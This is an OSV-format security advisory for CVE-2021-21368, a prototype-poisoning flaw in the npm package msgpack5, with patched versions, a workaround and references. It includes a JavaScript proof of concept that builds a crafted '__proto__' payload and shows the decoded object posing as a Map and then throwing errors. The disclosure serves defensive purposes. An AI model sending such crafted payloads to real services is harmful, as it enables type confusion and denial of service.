{"id":"GHSA-gmjw-49p4-pcfm","summary":"Prototype poisoning","details":"### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver's prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object's prototype to that value. \n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`'s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types. \n\nThere is no effect on the global prototype.\n\nAn example: \n\n```js \nconst msgpack5 = require('msgpack5')(); \n\nconst payload = {}; \nObject.defineProperty(payload, '__proto__', { \nvalue: new Map().set(1, 2), \nenumerable: true \n}); \n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // \u003cBuffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02\u003e \n\nconst decoded = msgpack5.decode(encoded); \n\n// decoded's prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 =\u003e 2 } \nconsole.log(decoded.get); // [Function: get] \n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map \n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false \n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #\u003cMap\u003e \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #\u003cMap\u003e \n} \n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #\u003cMap\u003e \n} \n``` \n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value's prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer's code). \n\n### Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)","aliases":["CVE-2021-21368"],"modified":"2026-09-10T03:49:01.975317177Z","published":"2021-03-12T22:44:17Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-03-12T16:57:44Z","nvd_published_at":"2021-03-12T17:15:00Z","cwe_ids":["CWE-1321","CWE-915"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21368"},{"type":"WEB","url":"https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8"},{"type":"WEB","url":"https://github.com/mcollina/msgpack5/releases/tag/v3.6.1"},{"type":"WEB","url":"https://github.com/mcollina/msgpack5/releases/tag/v4.5.1"},{"type":"WEB","url":"https://github.com/mcollina/msgpack5/releases/tag/v5.2.1"},{"type":"WEB","url":"https://www.npmjs.com/package/msgpack5"}],"affected":[{"package":{"name":"msgpack5","ecosystem":"npm","purl":"pkg:npm/msgpack5"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.6.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-gmjw-49p4-pcfm/GHSA-gmjw-49p4-pcfm.json"}},{"package":{"name":"msgpack5","ecosystem":"npm","purl":"pkg:npm/msgpack5"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-gmjw-49p4-pcfm/GHSA-gmjw-49p4-pcfm.json"}},{"package":{"name":"msgpack5","ecosystem":"npm","purl":"pkg:npm/msgpack5"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.2.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-gmjw-49p4-pcfm/GHSA-gmjw-49p4-pcfm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:H"}]}